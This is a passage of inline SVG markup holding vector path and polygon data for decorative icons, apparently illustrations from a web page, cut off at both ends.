C48.402,91.125 48.276,90.82 48.046,90.591 L46.43,88.974 C45.953,88.495 45.177,88.494 44.703,88.968 L42.116,91.551 L41.61,91.23 C40.336,90.423 38.937,89.842 37.454,89.505 L36.871,89.371 L36.871,85.723 C36.871,85.049 36.32,84.5 35.643,84.5 L33.364,84.5 C32.688,84.5 32.139,85.049 32.139,85.723 L32.139,89.373 L31.553,89.505 C30.122,89.827 28.742,90.394 27.454,91.192 L26.947,91.506 L24.382,88.917 C23.921,88.454 23.115,88.445 22.655,88.905 L21.027,90.514 C20.797,90.742 20.669,91.047 20.667,91.375 C20.666,91.702 20.79,92.01 21.019,92.24 L23.585,94.838 L23.262,95.343 C22.447,96.62 21.861,98.016 21.521,99.494 L21.386,100.078 L17.738,100.063 C17.365,100.068 17.106,100.184 16.877,100.412 C16.644,100.643 16.515,100.952 16.515,101.282 L16.5,102.503 L16.5,102.503 Z" id="Fill-87" fill="#0073AA"></path> <path d="M41,34.935 L41,34.935 C41,33.977 41.683,33.179 42.588,33 C41.683,33.179 41,33.978 41,34.936" id="Fill-97" fill="#B4D7E7"></path> <path d="M41.75,50.13 L41.75,49.867 L41,49.867 L41,33.973 C41,33.016 41.683,32.217 42.588,32.038 C42.713,32.013 42.842,32 42.974,32 L53.999,32 C54.184,33.539 54.164,35.105 53.921,36.652 L45.341,36.652 L45.341,48.704 C44.19,49.324 42.985,49.799 41.75,50.13" id="Fill-98" fill="#4B97C6"></path> <path d="M41,50.593 L41,50 L42.5,50 L42.5,50.263 C42.005,50.396 41.504,50.506 41,50.593" id="Fill-99" fill="#0073AA"></path> <path d="M57.996,51.046 C57.881,51.046 57.765,51.027 57.652,50.987 L48.182,47.647 C47.483,48.178 46.753,48.646 46,49.052 L46,37 L54.58,37 C54.365,38.372 53.975,39.729 53.4,41.036 L58.863,49.448 C59.105,49.82 59.083,50.303 58.809,50.652 C58.608,50.906 58.307,51.046 57.996,51.046" id="Fill-100" fill="#E7F7FF"></path> <path d="M26.1809572,45.6108842 C19.2089572,40.1958842 17.9459572,30.1538842 23.3599572,23.1818842 C28.7739572,16.2088842 38.8159572,14.9458842 45.7889572,20.3598842 C51.8099572,25.0348842 53.5689572,33.1588842 50.4529572,39.7798842 L56.1399572,48.5368842 C56.2879572,48.7638842 56.0629572,49.0498842 55.8069572,48.9598842 L45.9509572,45.4828842 C40.3129572,49.9858842 32.1309572,50.2308842 26.1809572,45.6108842" id="Fill-101" fill="#FFFFFF"></path> <path d="M35.7222614,49.4751973 C32.1062614,49.4751973 28.4892614,48.2991973 25.4552614,45.9421973 C18.5682614,40.5951973 16.9512614,30.7251973 21.7722614,23.4741973 L23.0212614,24.3041973 C18.6322614,30.9051973 20.1062614,39.8901973 26.3752614,44.7581973 C31.9552614,49.0911973 39.7022614,49.0401973 45.2152614,44.6361973 L45.5412614,44.3761973 L54.4992614,47.5361973 L49.3302614,39.5781973 L49.5072614,39.2001973 C52.5142614,32.8101973 50.6452614,25.0271973 45.0622614,20.6911973 C40.8452614,17.4171973 35.1332614,16.5931973 30.1532614,18.5391973 L29.6082614,17.1431973 C35.0762614,15.0031973 41.3502614,15.9101973 45.9822614,19.5071973 C52.0032614,24.1821973 54.0922614,32.5111973 51.0392614,39.4551973 L56.5022614,47.8671973 C56.7442614,48.2381973 56.7222614,48.7221973 56.4482614,49.0701973 C56.1742614,49.4191973 55.7082614,49.5531973 55.2912614,49.4061973 L45.8212614,46.0661973 C42.8302614,48.3371973 39.2762614,49.4751973 35.7222614,49.4751973" id="Fill-102" fill="#0073AA"></path> <path d="M25.127,22.451 L24,21.462 C24.279,21.143 24.568,20.838 24.866,20.546 C25.873,19.559 27.002,18.702 28.224,18 L28.971,19.301 C27.86,19.94 26.832,20.719 25.916,21.617 C25.645,21.884 25.382,22.161 25.127,22.451" id="Fill-103" fill="#0073AA"></path> <polyline id="Fill-112" fill="#0073AA" points="54.009 33.51 54 32.01 55.647 32 55.656 33.5 54.009 33.51"></polyline> <polygon id="Fill-125" fill="#0073AA" points="0 103.5 2.739 103.5 2.739 102 0 102"></polygon> <polygon id="Fill-127" fill="#3378B0" points="4 103.5 167.822 103.5 167.822 102 4 102"></polygon> <g id="Group" transform="translate(25.000000, 22.000000)"> <path d="M4.50393103,3.19910345 L2.73937931,4.96289655 L2.16206897,4.38634483 C1.84193103,4.0662069 1.84193103,3.54731034 2.16206897,3.22717241 L2.76744828,2.6217931 C3.08758621,2.30165517 3.60648276,2.30165517 3.92662069,2.6217931 L4.50393103,3.19910345" id="Fill-132" fill="#9CC9E1"></path> <path d="M3.34703448,2.95103448 L3.17027586,3.02386207 L2.56489655,3.62924138 L2.49131034,3.80675862 L2.56489655,3.98427586 L2.73937931,4.15875862 L3.69903448,3.19910345 L3.52455172,3.02462069 L3.34703448,2.95103448 Z M2.73937931,5.7677931 L1.76,4.78841379 C1.49751724,4.52668966 1.35337931,4.17772414 1.35337931,3.80675862 C1.35337931,3.4357931 1.49827586,3.08682759 1.76075862,2.82434483 L2.36537931,2.21972414 C2.88882759,1.69551724 3.80448276,1.694 4.32944828,2.21972414 L5.30806897,3.19910345 L2.73937931,5.7677931 L2.73937931,5.7677931 Z" id="Fill-133" fill="#0073AA"></path> <path d="M18.8752414,4.77855172 L17.1129655,3.01248276 L17.6902759,2.43593103 C18.0111724,2.11655172 18.530069,2.11731034 18.8502069,2.43744828 L19.454069,3.04282759 C19.7742069,3.36372414 19.7734483,3.88262069 19.4525517,4.20275862 L18.8752414,4.77855172" id="Fill-134" fill="#9CC9E1"></path> <path d="M17.9171034,3.01324138 L18.876,3.97441379 L19.0504828,3.79993103 L19.124069,3.62241379 L19.0512414,3.44489655 L18.4473793,2.83951724 C18.3487586,2.74089655 18.1902069,2.74165517 18.0923448,2.83875862 L17.9171034,3.01324138 Z M18.8744828,5.58344828 L16.308069,3.01172414 L17.2889655,2.03310345 C17.8306207,1.49296552 18.7113793,1.49372414 19.2530345,2.03537931 L19.8568966,2.64151724 C20.1193793,2.904 20.2627586,3.25296552 20.262,3.62393103 C20.262,3.99489655 20.1171034,4.34386207 19.8538621,4.60558621 L18.8744828,5.58344828 L18.8744828,5.58344828 Z" id="Fill-135" fill="#0073AA"></path> <path d="M17.2783448,19.1483448 L19.0466897,17.3883448 L19.6224828,17.9664138 C19.9418621,18.2873103 19.9403448,18.8062069 19.6194483,19.1255862 L19.0133103,19.7294483 C18.6924138,20.0488276 18.1727586,20.0473103 17.8533793,19.7264138 L17.2783448,19.1483448" id="Fill-136" fill="#9CC9E1"></path> <path d="M18.0824828,19.1506207 L18.2569655,19.3251034 L18.4344828,19.3994483 L18.6112414,19.3258621 L19.2181379,18.7227586 L19.2917241,18.5452414 L19.2188966,18.3677241 L19.0451724,18.1924828 L18.0824828,19.1506207 Z M18.4344828,20.5373793 L18.4314483,20.5373793 C18.0604828,20.5366207 17.7115172,20.3909655 17.4505517,20.1277241 L16.4734483,19.1468276 L19.0482069,16.5834483 L20.0253103,17.5651034 C20.2870345,17.8283448 20.4311724,18.1773103 20.4296552,18.5482759 C20.4288966,18.9192414 20.2832414,19.2674483 20.0207586,19.5291724 L19.4146207,20.1322759 C19.1521379,20.394 18.8046897,20.5373793 18.4344828,20.5373793 L18.4344828,20.5373793 Z" id="Fill-137" fill="#0073AA"></path> <path d="M2.91006897,17.534 L4.66855172,19.3046207 L4.08972414,19.8796552 C3.76806897,20.1990345 3.24917241,20.1967586 2.93055172,19.8758621 L2.32744828,19.2682069 C2.00806897,18.9473103 2.01034483,18.4284138 2.33124138,18.1090345 L2.91006897,17.534" id="Fill-138" fill="#9CC9E1"></path> <path d="M2.9077931,18.3388966 L2.73255172,18.5126207 L2.6582069,18.6901379 L2.73103448,18.8668966 L3.33413793,19.4745517 L3.51089655,19.5488966 L3.51165517,19.5488966 L3.68841379,19.476069 L3.86365517,19.3023448 L2.9077931,18.3388966 Z M3.51165517,20.6868276 L3.50710345,20.6868276 C3.13613793,20.6853103 2.78717241,20.5396552 2.5262069,20.2764138 L1.92386207,19.6695172 C1.66213793,19.4062759 1.51875862,19.0565517 1.52027586,18.6863448 C1.52103448,18.3146207 1.66744828,17.9664138 1.93068966,17.7046897 L2.91310345,16.7298621 L5.47268966,19.3084138 L4.49027586,20.2832414 C4.22855172,20.5434483 3.88110345,20.6868276 3.51165517,20.6868276 L3.51165517,20.6868276 Z" id="Fill-139" fill="#0073AA"></path> <path d="M10.9006207,16.8975172 C7.58772414,16.8975172 4.90296552,14.2127586 4.90296552,10.9006207 C4.90296552,7.58848276 7.58772414,4.90296552 10.9006207,4.90296552 C14.2127586,4.90296552 16.8975172,7.58848276 16.8975172,10.9006207 C16.8975172,14.2127586 14.2127586,16.8975172 10.9006207,16.8975172 Z M10.9006207,0.568965517 C5.19427586,0.568965517 0.568965517,5.19427586 0.568965517,10.9006207 C0.568965517,16.6062069 5.19427586,21.2322759 10.9006207,21.2322759 C16.6062069,21.2322759 21.2315172,16.6062069 21.2315172,10.9006207 C21.2315172,5.19427586 16.6062069,0.568965517 10.9006207,0.568965517 L10.9006207,0.568965517 Z" id="Fill-140" fill="#FFFFFF"></path> <path d="M10.9006207,5.47193103 C7.90710345,5.47193103 5.47193103,7.90710345 5.47193103,10.9006207 C5.47193103,13.8933793 7.90710345,16.3285517 10.9006207,16.3285517 C13.8933793,16.3285517 16.3285517,13.8933793 16.3285517,10.9006207 C16.3285517,7.90710345 13.8933793,5.47193103 10.9006207,5.47193103 Z M10.9006207,17.4664828 C7.27972414,17.4664828 4.334,14.5207586 4.334,10.9006207 C4.334,7.27972414 7.27972414,4.334 10.9006207,4.334 C14.5207586,4.334 17.4664828,7.27972414 17.4664828,10.9006207 C17.4664828,14.5207586 14.5207586,17.4664828 10.9006207,17.4664828 Z M10.9006207,1.13793103 C5.51744828,1.13793103 1.13793103,5.51744828 1.13793103,10.9006207 C1.13793103,16.2837931 5.51744828,20.6633103 10.9006207,20.6633103 C16.2830345,20.6633103 20.6625517,16.2837931 20.6625517,10.9006207 C20.6625517,5.51744828 16.2830345,1.13793103 10.9006207,1.13793103 Z M10.9006207,21.8012414 C4.89006897,21.8012414 0,16.9111724 0,10.9006207 C0,4.89006897 4.89006897,0 10.9006207,0 C16.9111724,0 21.8004828,4.89006897 21.8004828,10.9006207 C21.8004828,16.9111724 16.9111724,21.8012414 10.9006207,21.8012414 L10.9006207,21.8012414 Z" id="Fill-141" fill="#0073AA"></path> <path d="M1.59386207,6.43613793 L5.45524138,8.39868966 C6.00144828,7.2122069 6.91862069,6.23206897 8.06413793,5.61606897 L6.09324138,1.75924138 C4.13448276,2.79172414 2.5557931,4.43565517 1.59386207,6.43613793" id="Fill-142" fill="#D1E8F0"></path> <path d="M15.6867586,1.74937931 L13.7242069,5.61 C14.8712414,6.22372414 15.7906897,7.20158621 16.339931,8.38655172 L20.1967586,6.41565517 C19.2310345,4.41744828 17.6477931,2.77731034 15.6867586,1.74937931" id="Fill-143" fill="#D1E8F0"></path> <path d="M20.0010345,15.7914483 L16.1335862,13.8258621 C15.5357931,14.8917241 14.6216552,15.7527586 13.5186207,16.2898621 L15.4895172,20.1466897 C17.4057931,19.1931034 18.9882759,17.672069 20.0010345,15.7914483" id="Fill-144" fill="#D1E8F0"></path> <path d="M6.33068966,20.1557931 L8.29324138,16.2951724 C7.18944828,15.7603448 6.2737931,14.9015862 5.67372414,13.8364828 L1.80931034,15.811931 C2.82586207,17.6895172 4.41289655,19.2067586 6.33068966,20.1557931" id="Fill-145" fill="#D1E8F0"></path> <path d="M2.36234483,6.18806897 L5.20944828,7.63551724 C5.72606897,6.73731034 6.45206897,5.96655172 7.31537931,5.40062069 L5.85731034,2.54668966 C4.40455172,3.4282069 3.18924138,4.69510345 2.36234483,6.18806897 Z M5.72455172,9.174 L0.840551724,6.69103448 L1.0817931,6.18882759 C2.09075862,4.08896552 3.77717241,2.33731034 5.82848276,1.25627586 L6.33827586,0.987724138 L8.82427586,5.85351724 L8.33344828,6.11751724 C7.30324138,6.67131034 6.4642069,7.56572414 5.97186207,8.63613793 L5.72455172,9.174 L5.72455172,9.174 Z" id="Fill-146" fill="#0073AA"></path> <path d="M14.4729655,5.39303448 C15.3370345,5.95668966 16.0653103,6.72593103 16.5834483,7.62337931 L19.4275172,6.16986207 C18.5983448,4.67841379 17.3792414,3.41455172 15.9249655,2.53682759 L14.4729655,5.39303448 Z M16.0721379,9.16262069 L15.8233103,8.62551724 C15.3286897,7.55662069 14.4881379,6.66372414 13.4556552,6.11144828 L12.964069,5.84896552 L15.4402069,0.977862069 L15.9507586,1.24565517 C18.0051034,2.32213793 19.6945517,4.07075862 20.7088276,6.16834483 L20.9508276,6.66903448 L16.0721379,9.16262069 L16.0721379,9.16262069 Z" id="Fill-147" fill="#0073AA"></path> <path d="M14.278,16.5250345 L15.7330345,19.3728966 C17.1630345,18.5588966 18.3495172,17.4156552 19.2082759,16.0266207 L16.3422069,14.570069 C15.8058621,15.3658621 15.1041379,16.0304138 14.278,16.5250345 Z M15.2391724,20.9068276 L12.7478621,16.0326897 L13.2697931,15.7785517 C14.2749655,15.2892414 15.0935172,14.5177241 15.6366897,13.5474483 L15.9037241,13.0710345 L20.7778621,15.547931 L20.5017241,16.0615172 C19.4297931,18.0521379 17.7835862,19.6406897 15.7428966,20.6557241 L15.2391724,20.9068276 L15.2391724,20.9068276 Z" id="Fill-148" fill="#0073AA"></path> <path d="M2.60282759,16.0455862 C3.46310345,17.4315862 4.65337931,18.5710345 6.08565517,19.3827586 L7.53462069,16.5318621 C6.70772414,16.0387586 6.00524138,15.3764828 5.46662069,14.5822069 L2.60282759,16.0455862 Z M6.58331034,20.9151724 L6.07882759,20.6663448 C4.03358621,19.6543448 2.38510345,18.0695862 1.30937931,16.0827586 L1.03172414,15.569931 L5.90206897,13.0816552 L6.16986207,13.5573103 C6.71531034,14.5268276 7.53537931,15.296069 8.54131034,15.7823448 L9.06324138,16.0357241 L6.58331034,20.9151724 L6.58331034,20.9151724 Z" id="Fill-149" fill="#0073AA"></path> </g> </g> </symbol> <symbol id="icon-content" viewBox="0 0 175 110" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs></defs> <g id="Page-1" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd"> <g id="Group-2" transform="translate(55.000000, 43.000000)"> <polygon id="Fill-148" fill="#0073AA" points="0.559516803 47.1133533 7.64844949 47.1133533 7.64844949 45.8015 0.559516803 45.8015"></polygon> <path d="M53.8269776,52.3664477 L53.8269776,4.41821002 C53.8269776,2.9725477 52.6187393,1.8015 51.1291798,1.8015 L11.2573146,1.8015 C9.76775514,1.8015 8.5595168,2.9725477 8.5595168,4.41821002 L8.5595168,52.3664477 L53.8269776,52.3664477" id="Fill-159" fill="#FFFFFF"></path> <path d="M8,10.1133533 L8,4.49781548 C8,3.00819763 9.01618254,1.8015 10.2686027,1.8015 L50.9988581,1.8015 C52.2512783,1.8015 53.2674608,3.00819763 53.2674608,4.49781548 L53.2674608,10.1133533 L8,10.1133533" id="Fill-160" fill="#E7F7FF"></path> <polygon id="Fill-161" fill="#0073AA" points="8.5595168 10.1133533 53.8269776 10.1133533 53.8269776 8.8015 8.5595168 8.8015"></polygon> <polygon id="Fill-165" fill="#E7F7FF" points="12 32.1133533 39.6977074 32.1133533 39.6977074 12.8015 12 12.8015"></polygon> <polygon id="Fill-165" fill="#E7F7FF" points="41 25.4801247 49.6977074 25.4801247 49.6977074 12.8015 41 12.8015"></polygon> <polygon id="Fill-166" fill="#D1E8F0" points="15.5595168 46.4801247 25.6356835 46.4801247 25.6356835 33.8015 15.5595168 33.8015"></polygon> <path d="M7.5595168,52.0232489 L7.5595168,4.07501124 C7.5595168,2.26990111 9.07342141,0.8015 10.9335674,0.8015 L50.8054326,0.8015 C52.6655786,0.8015 54.1794832,2.26990111 54.1794832,4.07501124 L54.1794832,31.0259048 L52.8269776,31.0259048 L52.8269776,4.07501124 C52.8269776,2.99316956 51.9198972,2.11335329 50.8054326,2.11335329 L10.9335674,2.11335329 C9.81910283,2.11335329 8.9120224,2.99316956 8.9120224,4.07501124 L8.9120224,52.0232489 L7.5595168,52.0232489 Z" id="Fill-168" fill="#0073AA"></path> </g> <path d="M61.309,91.654 C61.309,95.881 57.882,99.308 53.655,99.308 C49.427,99.308 46,95.881 46,91.654 C46,87.427 49.427,84 53.655,84 C57.882,84 61.309,87.427 61.309,91.654" id="Fill-406" fill="#FFFFFF"></path> <path d="M118.91,95.455 C118.91,100.125 115.124,103.91 110.455,103.91 C105.785,103.91 102,100.125 102,95.455 C102,90.786 105.785,87 110.455,87 C115.124,87 118.91,90.786 118.91,95.455" id="Fill-407" fill="#FFFFFF"></path> <path d="M139.063,95.531 C139.063,102.452 133.452,108.062 126.532,108.062 C119.611,108.062 114,102.452 114,95.531 C114,88.61 119.611,83 126.532,83 C133.452,83 139.063,88.61 139.063,95.531" id="Fill-408" fill="#FFFFFF"></path> <path d="M150.687,100.844 C150.687,105.175 147.175,108.687 142.843,108.687 C138.512,108.687 135,105.175 135,100.844 C135,96.512 138.512,93 142.843,93 C147.175,93 150.687,96.512 150.687,100.844" id="Fill-409" fill="#FFFFFF"></path> <path d="M168.34,95.67 C168.34,102.667 162.668,108.34 155.67,108.34 C148.673,108.34 143,102.667 143,95.67 C143,88.672 148.673,83 155.67,83 C162.668,83 168.34,88.672 168.34,95.67" id="Fill-410" fill="#FFFFFF"></path> <path d="M48.999,92 C48.999,97.522 44.522,101.999 39,101.999 C33.477,101.999 29,97.522 29,92 C29,86.477 33.477,82 39,82 C44.522,82 48.999,86.477 48.999,92" id="Fill-411" fill="#FFFFFF"></path> <path d="M63.999,99 C63.999,104.522 59.522,108.999 54,108.999 C48.477,108.999 44,104.522 44,99 C44,93.477 48.477,89 54,89 C59.522,89 63.999,93.477 63.999,99" id="Fill-412" fill="#FFFFFF"></path> <path d="M26.76,100.88 C26.76,105.785 22.784,109.76 17.88,109.76 C12.976,109.76 9,105.785 9,100.88 C9,95.976 12.976,92 17.88,92 C22.784,92 26.76,95.976 26.76,100.88" id="Fill-413" fill="#FFFFFF"></path> <path d="M38.02,100.01 C38.02,103.882 34.881,107.02 31.01,107.02 C27.138,107.02 24,103.882 24,100.01 C24,96.139 27.138,93 31.01,93 C34.881,93 38.02,96.139 38.02,100.01" id="Fill-415" fill="#FFFFFF"></path> <path d="M61.807,91.405 L60.307,91.405 C60.307,87.598 57.211,84.5 53.404,84.5 C49.597,84.5 46.5,87.598 46.5,91.405 L45,91.405 C45,86.77 48.77,83 53.404,83 C58.038,83 61.807,86.77 61.807,91.405" id="Fill-416" fill="#0073AA"></path> <path d="M120.41,96.205 L118.91,96.205 C118.91,91.957 115.454,88.5 111.205,88.5 C106.956,88.5 103.5,91.957 103.5,96.205 L102,96.205 C102,91.13 106.129,87 111.205,87 C116.281,87 120.41,91.13 120.41,96.205 L131.820312,88.6435547" id="Fill-417" fill="#0073AA"></path> <path d="M158.3625,49.5 L154.0885,49.5 C153.6735,49.5 153.3385,49.164 153.3385,48.75 C153.3385,48.336 153.6735,48 154.0885,48 L158.3625,48 C158.7765,48 159.1125,48.336 159.1125,48.75 C159.1125,49.164 158.7765,49.5 158.3625,49.5" id="Fill-418" fill="#0073AA"></path> <path d="M156.0885,51.774 C155.6745,51.774 155.3385,51.438 155.3385,51.024 L155.3385,46.75 C155.3385,46.336 155.6745,46 156.0885,46 C156.5025,46 156.8385,46.336 156.8385,46.75 L156.8385,51.024 C156.8385,51.438 156.5025,51.774 156.0885,51.774" id="Fill-419" fill="#0073AA"></path> <path d="M25.025,7.5 L20.75,7.5 C20.336,7.5 20,7.164 20,6.75 C20,6.336 20.336,6 20.75,6 L25.025,6 C25.439,6 25.775,6.336 25.775,6.75 C25.775,7.164 25.439,7.5 25.025,7.5" id="Fill-420" fill="#0073AA"></path> <path d="M22.75,9.774 C22.336,9.774 22,9.438 22,9.024 L22,4.75 C22,4.336 22.336,4 22.75,4 C23.164,4 23.5,4.336 23.5,4.75 L23.5,9.024 C23.5,9.438 23.164,9.774 22.75,9.774" id="Fill-421" fill="#0073AA"></path> <path d="M100.74975,4.52275 C100.55775,4.52275 100.36575,4.44875 100.21975,4.30275 C99.92675,4.00975 99.92675,3.53475 100.21975,3.24175 L103.24175,0.21975 C103.53475,-0.07325 104.00975,-0.07325 104.30275,0.21975 C104.59575,0.51275 104.59575,0.98675 104.30275,1.27975 L101.27975,4.30275 C101.13375,4.44875 100.94175,4.52275 100.74975,4.52275" id="Fill-424" fill="#0073AA"></path> <path d="M103.77175,4.52275 C103.57975,4.52275 103.38875,4.44875 103.24175,4.30275 L100.21975,1.27975 C99.92675,0.98675 99.92675,0.51275 100.21975,0.21975 C100.51275,-0.07325 100.98675,-0.07325 101.27975,0.21975 L104.30275,3.24175 C104.59575,3.53475 104.59575,4.00975 104.30275,4.30275 C104.15575,4.44875 103.96475,4.52275 103.77175,4.52275" id="Fill-425" fill="#0073AA"></path> <path d="M10.74975,61.52275 C10.55775,61.52275 10.36575,61.44875 10.21975,61.30275 C9.92675,61.00975 9.92675,60.53475 10.21975,60.24175 L13.24175,57.21975 C13.53475,56.92675 14.00975,56.92675 14.30275,57.21975 C14.59575,57.51275 14.59575,57.98675 14.30275,58.27975 L11.27975,61.30275 C11.13375,61.44875 10.94175,61.52275 10.74975,61.52275" id="Fill-424" fill="#0073AA"></path> <path d="M13.77175,61.52275 C13.57975,61.52275 13.38875,61.44875 13.24175,61.30275 L10.21975,58.27975 C9.92675,57.98675 9.92675,57.51275 10.21975,57.21975 C10.51275,56.92675 10.98675,56.92675 11.27975,57.21975 L14.30275,60.24175 C14.59575,60.53475 14.59575,61.00975 14.30275,61.30275 C14.15575,61.44875 13.96475,61.52275 13.77175,61.52275" id="Fill-425" fill="#0073AA"></path> <polygon id="Fill-426" fill="#0073AA" points="142 69.5 163.817 69.5 163.817 68 142 68"></polygon> <polygon id="Fill-428" fill="#0073AA" points="32 7.5 72.796 7.5 72.796 6 32 6"></polygon> <polygon id="Fill-429" fill="#0073AA" points="125 8.5 146.817 8.5 146.817 7 125 7"></polygon> <polygon id="Fill-430" fill="#0073AA" points="119 8.5 122.912 8.5 122.912 7 119 7"></polygon> <path d="M139.677,74.338 C139.677,75.077 139.078,75.676 138.339,75.676 C137.599,75.676 137,75.077 137,74.338 C137,73.599 137.599,73 138.339,73 C139.078,73 139.677,73.599 139.677,74.338" id="Fill-433" fill="#0073AA"></path> <path d="M14.677,18.338 C14.677,19.077 14.078,19.676 13.339,19.676 C12.6,19.676 12,19.077 12,18.338 C12,17.599 12.6,17 13.339,17 C14.078,17 14.677,17.599 14.677,18.338" id="Fill-434" fill="#0073AA"></path> <path d="M164.677,26.339 C164.677,27.078 164.078,27.677 163.339,27.677 C162.6,27.677 162,27.078 162,26.339 C162,25.599 162.6,25 163.339,25 C164.078,25 164.677,25.599 164.677,26.339" id="Fill-435" fill="#0073AA"></path> <path d="M64.696,28.848 C64.696,29.317 64.317,29.696 63.848,29.696 C63.38,29.696 63,29.317 63,28.848 C63,28.38 63.38,28 63.848,28 C64.317,28 64.696,28.38 64.696,28.848" id="Fill-438" fill="#0073AA"></path> <polygon id="Fill-478" fill="#8AC4E6" points="60 109.352 67.384 109.352 67.384 75 60 75"></polygon> <path d="M60.5,75.5 L60.5,107.257 C60.5,107.861 60.991,108.352 61.595,108.352 L66.384,108.352 L66.384,75.5 L60.5,75.5 Z M67.884,109.467529 L61.5241699,109.467529 C60.0931699,109.467529 59,108.688 59,107.257 L59,74 L67.884,74 L67.884,109.852 L67.884,109.467529 Z" id="Fill-479" fill="#0073AA"></path> <polyline id="Fill-480" fill="#E7F7FF" points="56 79.993 63.384 79.993 65.78 75 58.396 75 56 79.993"></polyline> <path d="M57.383,78.992 L63.104,78.992 L64.78,75.5 L59.059,75.5 L57.383,78.992 Z M64.047,80.492 L55,80.492 L58.115,74 L67.164,74 L64.047,80.492 L64.047,80.492 Z" id="Fill-481" fill="#0073AA"></path> <path d="M109.971,109.352 L68,109.352 L68,75 L112.58,75 L112.58,106.742 C112.58,108.183 111.412,109.352 109.971,109.352" id="Fill-482" fill="#0073AA"></path> <polygon id="Fill-483" fill="#0073AA" points="111 99.565 112.5 99.565 112.5 94 111 94"></polygon> <path d="M67,109.434082 L67,74 L113.081,74 L113.081,90.582 L111.581,90.582 L111.581,75.5 L68.5,75.5 L68.5,108.352 L109.398,108.352 C110.601,108.352 111.581,107.373 111.581,106.17 L111.581,103.128 L113.081,103.128 L113.081,106.17 C113.081,108.2 111.732416,109.434082 109.701416,109.434082 L67,109.434082 Z" id="Fill-484" fill="#0073AA"></path> <polyline id="Fill-485" fill="#E7F7FF" points="115.976 79.993 71.396 79.993 69 75 113.58 75 115.976 79.993"></polyline> <path d="M72.059,78.992 L114.976,78.992 L113.3,75.5 L70.383,75.5 L72.059,78.992 Z M117.361,80.492 L71.116,80.492 L68,74 L114.244,74 L117.361,80.492 L117.361,80.492 Z" id="Fill-486" fill="#0073AA"></path> <polyline id="Fill-513" fill="#D1E8F0" points="132.7655 45.13 119.8855 45.13 117.7395 48.848 126.3255 58.614 134.9125 48.848 132.7655 45.13"></polyline> <polyline id="Fill-514" fill="#9CC9E1" points="122.8485 48.848 120.7015 45.13 118.7395 48.875 122.8485 48.848"></polyline> <polyline id="Fill-515" fill="#9CC9E1" points="126.8965 48.733 124.8155 45.13 122.7395 48.727 126.8965 48.733"></polyline> <polyline id="Fill-516" fill="#9CC9E1" points="130.8655 48.721 128.6355 45.13 126.7395 48.748 130.8655 48.721"></polyline> <polyline id="Fill-517" fill="#9CC9E1" points="126.7395 49.13 126.7395 58.246 130.9345 49.13 126.7395 49.13"></polyline> <polyline id="Fill-518" fill="#62A6CF" points="118.7395 49.13 118.7395 49.221 126.9455 58.451 122.6585 49.13 118.7395 49.13"></polyline> <polyline id="Fill-519" fill="#62A6CF" points="134.9465 49.13 134.9465 49.221 126.7395 58.451 131.0275 49.13 134.9465 49.13"></polyline> <polyline id="Fill-520" fill="#0073AA" points="126.2435 59.5 116.7395 48.69 119.3715 44.13 129.2805 44.13 129.2805 45.63 120.2375 45.63 118.5765 48.507 126.2435 57.229 133.9115 48.507 132.2515 45.63 131.4435 45.63 131.4435 44.13 133.1165 44.13 135.7495 48.69 126.2435 59.5"></polyline> <polygon id="Fill-521" fill="#0073AA" points="129.7395 45.63 131.1395 45.63 131.1395 44.13 129.7395 44.13"></polygon> <polygon id="Fill-522" fill="#0073AA" points="117.7395 49.63 134.9125 49.63 134.9125 48.13 117.7395 48.13"></polygon> <polyline id="Fill-523" fill="#0073AA" points="126.0315 58.5 121.7395 48.734 123.1125 48.13 127.4045 57.897 126.0315 58.5"></polyline> <polyline id="Fill-524" fill="#0073AA" points="127.1125 58.5 125.7395 57.896 130.0315 48.13 131.4045 48.734 127.1125 58.5"></polyline> <polygon id="Fill-525" fill="#0073AA" points="125.7395 58.673 127.2395 58.673 127.2395 49.13 125.7395 49.13"></polygon> <polyline id="Fill-526" fill="#0073AA" points="121.8865 49.598 119.7395 45.88 121.0375 45.13 123.1855 48.848 121.8865 49.598"></polyline> <polyline id="Fill-527" fill="#0073AA" points="125.8865 49.598 123.7395 45.88 125.0375 45.13 127.1855 48.848 125.8865 49.598"></polyline> <polyline id="Fill-528" fill="#0073AA" points="129.8875 49.598 127.7395 45.88 129.0385 45.13 131.1865 48.848 129.8875 49.598"></polyline> <polyline id="Fill-529" fill="#0073AA" points="132.0385 49.598 130.7395 48.848 132.8865 45.13 134.1855 45.88 132.0385 49.598"></polyline> <polyline id="Fill-530" fill="#0073AA" points="127.0385 49.598 125.7395 48.848 127.8865 45.13 129.1855 45.88 127.0385 49.598"></polyline> <polyline id="Fill-531" fill="#0073AA" points="123.0385 49.598 121.7395 48.848 123.8875 45.13 125.1855 45.88 123.0385 49.598"></polyline> <path d="M88.6770083,14.236 C87.2610083,14.236 86.1140083,13.09 86.1140083,11.672 C86.1140083,10.257 87.2610083,9.114 88.6770083,9.114 C90.0920083,9.114 91.2380083,10.257 91.2380083,11.672 C91.2380083,13.09 90.0920083,14.236 88.6770083,14.236 Z M95.5460083,10.412 L94.2980083,10.407 C94.1500083,9.758 93.8950083,9.151 93.5510083,8.607 L94.4340083,7.723 C94.7510083,7.409 94.7530083,6.897 94.4370083,6.582 L93.7760083,5.921 C93.4610083,5.606 92.9500083,5.604 92.6350083,5.918 L91.7500083,6.802 C91.2060083,6.458 90.5990083,6.203 89.9530083,6.056 L89.9530083,4.807 C89.9530083,4.362 89.5900083,4 89.1430083,4 L88.2100083,4 C87.7630083,4 87.4020083,4.362 87.4020083,4.807 L87.4020083,6.056 C86.7640083,6.199 86.1680083,6.451 85.6300083,6.785 L84.7510083,5.898 C84.4370083,5.583 83.9250083,5.576 83.6090083,5.893 L82.9440083,6.55 C82.6290083,6.862 82.6260083,7.375 82.9390083,7.691 L83.8160083,8.58 C83.4700083,9.121 83.2120083,9.728 83.0630083,10.375 L81.8150083,10.37 C81.3680083,10.366 81.0060083,10.728 81.0060083,11.176 L81.0000083,12.11 C80.9980083,12.554 81.3580083,12.918 81.8040083,12.921 L83.0500083,12.925 C83.1970083,13.576 83.4490083,14.181 83.7930083,14.724 L82.9040083,15.609 C82.5900083,15.921 82.5880083,16.432 82.9030083,16.749 L83.5590083,17.411 C83.8750083,17.73 84.3870083,17.73 84.7010083,17.416 L85.5880083,16.537 C86.1320083,16.881 86.7360083,17.141 87.3870083,17.29 L87.3820083,18.535 C87.3800083,18.981 87.7410083,19.346 88.1870083,19.346 L89.1210083,19.349 C89.5670083,19.349 89.9300083,18.991 89.9300083,18.546 L89.9340083,17.297 C90.5830083,17.151 